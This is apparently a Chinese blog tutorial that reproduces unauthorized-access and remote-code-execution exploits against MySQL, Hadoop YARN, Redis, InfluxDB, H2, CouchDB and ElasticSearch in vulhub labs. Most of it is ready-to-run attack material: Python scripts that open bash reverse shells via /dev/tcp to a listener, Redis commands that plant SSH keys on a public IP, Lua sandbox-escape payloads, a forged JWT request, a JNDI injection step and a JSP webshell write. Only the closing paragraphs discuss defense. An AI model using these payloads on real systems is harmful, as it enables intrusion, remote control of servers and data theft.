
5大数据库未授权访问漏洞深度剖析【黑客最爱的‘甜点‘】
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。靶场Hadoop YARN ResourceManager 未授权访问漏洞是一个严重的安全隐患,它潜伏在许多未经正确配置的 Hadoop 集群中。这个漏洞的核心问题在于
文章目录
在当今数字时代,数据库系统已成为企业和组织信息架构的核心支柱。然而,随着其重要性的提升,数据库的安全问题也日益突出。本文将深入探讨五大主流数据库系统——MySQL、Hadoop、Redis、InfluxDB和H2 database的未授权访问漏洞。这些漏洞如同数字世界中的"特洛伊木马",潜伏在看似坚不可摧的数据堡垒中,等待着被不怀好意的入侵者利用。让我们揭开这些数据库系统的安全面纱,了解它们的脆弱之处,以及如何防患未然。
Mysql
-
未授权访问-CVE-2012-2122
-
介绍
- 当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。
-
靶场
- vulhub mysql/CVE-2012-2122
-
条件
- MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
- MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
-
复现
-
启动靶机
-
攻击者直接输入本机输入语句即可
for i in seq 1 1000; do mysql -uroot -pwrong -h 192.168.58.147 -P3306 ; done
-
-
-
Hadoop
-
未授权访问-内置配合命令执行
-
复现
-
靶场
- vulhub hadoop/unauthorized-yarn
-
过程
-
攻击者启动nc监听
nc.exe -lvvp 9999
-
直接使用脚本即可
-
hadoop.py import requests target = 'http://192.168.58.147:8088/'//存在漏洞的ip网址 lhost = '192.168.58.224' # nc监听的ip url = target + 'ws/v1/cluster/apps/new-application' resp = requests.post(url) app_id = resp.json()['application-id'] url = target + 'ws/v1/cluster/apps' data = { 'application-id': app_id, 'application-name': 'get-shell', 'am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,//此处修改端口号 }, }, 'application-type': 'YARN', } requests.post(url, json=data)
-
-
-
-
redis
-
未授权访问
-
介绍
- Redis是一种非常广泛使用的缓存服务,但它也被用作消息代理。客户端通过套接字与 Redis 服务器通信,发送命令,服务器更改其状态(即其内存结构)以响应此类命令。当Redis服务器被配置为允许来自任意IP地址的连接,并且没有设置访问密码或其他身份验证机制时,攻击者可以直接连接到Redis服务器,并执行各种操作,包括读取、修改或删除数据,甚至可能通过写入特定文件(如SSH密钥)来获取服务器的远程访问权限。这种配置错误可能导致敏感数据泄露、系统被入侵,甚至整个服务器被攻击者控制。
- 默认端口:6379
-
条件
-
/etc/redis.conf没有绑定本地ip
-
/etc/redis.conf没有开启安全模式
-
-
靶场搭建
- 无脑敲命令
-
1、下载 wget http://download.redis.io/releases/redis-2.8.17.tar.gz 2、解压编译 tar xzvf redis-2.8.17.tar.gz #解压安装包 cd redis-2.8.17 # 进入redis目录 make #编译 3、配置及启动 cd src/ #进入src目录 cp redis-server /usr/bin/ cp redis-cli /usr/bin/ #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了) cd .. # 返回上一级目录 cp redis.conf /etc/ #将redis.conf拷贝到/etc/目录下 redis-server /etc/redis.conf # 使用/etc/目录下的redis.conf文件中的配置启动redis服务
-
公私钥webshell复现
-
直接登录操作redis数据库
- 使用命令
redis-cli -h 47.99.117.44
- 使用命令
-
得到路径写入webshell
-
攻击者只需要执行以下命令即可webshell
-
ssh-keygen -t rsa cd /root/.ssh (echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>key.txt cat key.txt | redis-cli -h 47.99.117.44 -x set xxx redis-cli -h 47.99.117.44 config set dir /root/.ssh config set dbfilename authorized_keys save ssh -i id_rsa root@47.99.117.44 cd /root/.ssh ssh -i id_rsa root@47.99.117.44
-
-
解读命令
-
ssh-keygen -t rsa: 生成 SSH 密钥对。 cd /root/.ssh: 进入 SSH 密钥目录。 (echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>key.txt: 创建包含公钥的文件。 cat key.txt | redis-cli -h 47.99.117.44 -x set xxx: 这一步将公钥内容存储在 Redis 中,键名为 "xxx"。这是 "xxx" 键的作用所在:它临时存储了攻击者的公钥。 redis-cli -h 47.99.117.44: 连接到目标 Redis 服务器。 config set dir /root/.ssh: 将 Redis 的工作目录设置为 SSH 配置目录。 config set dbfilename authorized_keys: 设置 Redis 的数据库文件名为 "authorized_keys"。 save: 这个命令会触发 Redis 将其数据保存到磁盘。由于之前的设置,它会将数据(包括 "xxx" 键中存储的公钥)写入到 /root/.ssh/authorized_keys 文件中。 ssh -i id_rsa root@47.99.117.44: 尝试使用新添加的密钥登录服务器。 "xxx" 键的作用是: 临时存储攻击者的公钥。 作为一个中间步骤,将公钥从攻击者的系统传输到目标 Redis 服务器。 当 Redis 执行 save 命令时,"xxx" 键的内容(即公钥)会被写入到 authorized_keys 文件中。
-
-
自动化脚本webshell
-
工具名称: redis-rogue-getshell
-
下载地址:vulhub/redis-rogue-getshell:redis 4.x/5.x 主/从getshell模块 (github.com)
-
使用说明:
-
攻击者监听端口:
nc -lvvp 8888
-
攻击者执行命令:
python redis-master.py -r 47.99.117.44 -p 6379 -L 43.139.186.80 -P 8888 -f RedisModulesSDK/exp.so -c "id"
-
-
-
-
沙箱绕过复现
-
介绍
- 安全研究人员发现在 Debian 上,Lua 由 Redis 动态加载,且在 Lua 解释器本身初始化时,module和require以及package的Lua 变量存在于上游Lua 的全局环境中,而不是不存在于 Redis 的 Lua 上,并且前两个全局变量在上个版本中被清除修复了,而package并没有清楚,所以导致redis可以加载上游的Lua全局变量package来逃逸沙箱。
-
条件
- Debian 和 Debian 派生的 Linux 发行版(如Ubuntu)上的 Redis 服务。
-
靶场:
- 搭建如上
-
复现
-
连接上redis
-
直接输入poc即可:
poc1: package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os"); local os = os_l(); os.execute("touch /tmp/redis_eval"); return 0' 0 或者 poc2: eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
-
可以看到,我的服务器不行,说明我的不是Debian 和 Debian 派生的 Linux 发行版的服务器[坏笑]
-
-
-
Influxdb
-
介绍
- InfluxDB是一个由InfluxData开发的开源时序型数据库,专注于海量时序数据的高性能读、高性能写、高效存储与实时分析等,在DB-Engines Ranking时序型数据库排行榜上排名第一,广泛应用于DevOps监控、IoT监控、实时分析等场景。其使用jwt作为鉴权方式。在用户开启了认证,但未设置参数shared—secret的情况下,jwt的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在influxdb中执行SQL语句。
- 默认端口:8086 8088
-
未授权访问
-
jwt空鉴权漏洞复现
-
靶场:
- vulhub influxdb/CVE-2019-20933
-
启动靶场,访问执行sql的页面,发现有鉴权
-
构造鉴权数据,分别将poc填入对应的方框中生成jwt秘钥
-
jwt秘钥生成网址:jwt.io { "alg": "HS256", "typ": "JWT" } { "username": "admin", "exp": 2986346267 }
-
-
将构造好的jwt插入数据包中,成功执行sql语句
-
POST /query HTTP/1.1 Host: 192.168.58.147:8086 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyOTg2MzQ2MjY3fQ.LJDvEy5zvSEpA_C6pnK3JJFkUKGq9eEi8T2wdum3R_s DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 22 db=sample&q=show users
-
-
-
H2 database
-
介绍
- H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页 面,在Spimg开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:
- 默认端口:20051
-
未授权访问
-
配置不当复现
-
靶场:
- vulhub h2database/h2-console-unacc
-
条件:
- spring.h2.console.enabled=true
- spring.h2.console.settings.web-allow-others=true
-
可以看到可以直接未授权访问其页面
http://192.168.58.147:8080/h2-console/login.jsp?jsessionid=3f71c8557c5d21dc91e885048de1c9e7
-
使用JNDI-Injection-Exploit工具生成执行RMI Payload-URL
-
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 192.168.58.147
- 作用就是开启监听并执行命令,-C为执行的命令,-A为监听机的ip地址,所以文件执行条件是目标主机是能访问到的,其次就是页面不要关掉
-
-
-
在Driver Class填入
javax.naming.InitialContext
-
在JDBC URL:生成的rmi地址(三个选一个即可)
-
-
CouchDB
-
介绍
- Apache CouchDB是一个开源数据库,专注于易用性和成为“完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的 NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)
-
权限绕过配合RCE绕过
-
介绍:
- 在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。
- 默认端口:5984
-
条件:
- 小于 1.7.0 以及 小于 2.1.1
-
复现
-
靶场
- /vulhub/couchdb/CVE-2017-12635
-
访问首页,
192.168.58.147:5984
,符合漏洞环境 -
捉包访问登录页面
http://192.168.58.147:5984/_utils
-
直接捉包完全修改和发送两个数据包即可,除了host字段不一样,其他都要一样
-
-
-
任意命令执行
-
介绍
-
在 2017 年 11 月 15 日,CVE-2017-12635 和 CVE-2017-12636 披露, CVE-2017-12636 是一个任意命令执行漏洞,我们可以通过 config api 修改 couchdb 的配置
query_server
,这个配置项在设计、执行 view 的时候将被运行。 -
CVE-2017-12635 是由于 Erlang 和 JavaScript 对 JSON 解析方式的不同,导致语句执行产生差异性导致的。可以被利用于,非管理员用户赋予自身管理员身份权限。
CVE-2017-12636 时由于数据库自身设计原因,管理员身份可以通过 HTTP(S)方式,配置数据库。在某些配置中,可设置可执行文件的路径,在数据库运行范围内执行。结合 CVE-2017-12635 可实现远程代码执行。
-
-
条件
- 小于 1.7.0 以及 小于 2.1.1
-
复现
-
攻击者nc监听,
nc -lvvp 5566
-
攻击者执行脚本即可webshell
-
#!/usr/bin/env python3 import requests import json import base64 from requests.auth import HTTPBasicAuth target = 'http://192.168.58.147:5984'//此处修改为,目标主机的ip command = rb"""sh -i >& /dev/tcp/192.168.58.147/5566 0>&1"""//此处修改为,目标主机的ip version = 2 session = requests.session() session.headers = { 'Content-Type': 'application/json' } # session.proxies = { # 'http': 'http://127.0.0.1:8085' # } session.put(target + '/_users/org.couchdb.user:wooyun', data='''{ "type": "user", "name": "wooyun", "roles": ["_admin"], "roles": [], "password": "wooyun" }''') session.auth = HTTPBasicAuth('wooyun', 'wooyun') command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode() if version == 1: session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command)) else: host = session.get(target + '/_membership').json()['all_nodes'][0] session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command)) session.put(target + '/wooyun') session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}') if version == 1: session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}') else: session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')
-
-
-
ElasticSearch
-
文件写入RCE漏洞
-
原理
-
ElasticSearch具有备份数据的功能,用户可以传入一个路径,让其将数据备份到该路径下,且文件名和后缀都可控。
所以,如果同文件系统下还跑着其他服务,如Tomcat(8080)、PHP等,我们可以利用ElasticSearch的备份功能写入一个webshell。
和CVE-2015-5531类似,该漏洞和备份仓库有关。在elasticsearch1.5.1以后,其将备份仓库的根路径限制在配置文件的配置项
path.repo
中,而且如果管理员不配置该选项,则默认不能使用该功能。即使管理员配置了该选项,web路径如果不在该目录下,也无法写入webshell。 -
默认端口: Tomcat(8080),elasticsearch1.5.1(9200)
-
-
条件
- 1.5.x以前
-
复现:
-
靶场:
- /vulhub/elasticsearch/WooYun-2015-110216
-
环境启动,访问9200和8080端口,可以看到
-
首先攻击者创建一个恶意的索引文档
-
curl -XPOST http://192.168.58.147:9200/yz.jsp/yz.jsp/1 -d' {"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"} '
-
-
再创建一个恶意的存储库,其中
location
的值即为我要写入的路径。- 这个漏洞利用了 Repositories 路径的灵活性,允许攻击者在服务器上创建任意文件夹。通过指定路径到 Tomcat 的 web 部署目录,攻击者可以创建新的应用目录,Tomcat 会自动将其识别为新的 web 应用。例如,创建名为 “wwwroot” 的文件夹会导致 Tomcat 自动部署一个同名的新应用,从而potentially执行恶意代码。
-
存储库验证并创建
-
访问
http://192.168.58.147:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp
,这就是我们写入的webshell。 -
在此页面传入
http://192.168.58.147:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp?f=success
,再去访问http://192.168.58.147:8080/wwwroot/test.jsp
就会出现success
-
-
纵观这五大数据库系统的未授权访问漏洞,我们可以看到一个共同的主题:配置不当和默认设置往往是安全隐患的根源。从MySQL的CVE-2012-2122到H2 database的配置问题,这些漏洞提醒我们,数据库安全不仅仅是软件本身的问题,更是一个涉及配置、管理和持续监控的综合挑战。
作为数据库管理员或开发者,我们必须时刻保持警惕,定期检查和更新系统配置,关注最新的安全公告,并采取必要的防护措施。同时,我们也要认识到,随着技术的不断进步,新的漏洞可能随时出现。因此,建立一个动态的、responsive的安全策略至关重要。
最后,让我们记住:数据库安全是一场永无止境的马拉松,而不是短跑。只有通过持续的学习、适应和改进,我们才能在这个瞬息万变的数字世界中保护我们最宝贵的资产——数据。
更多推荐
所有评论(0)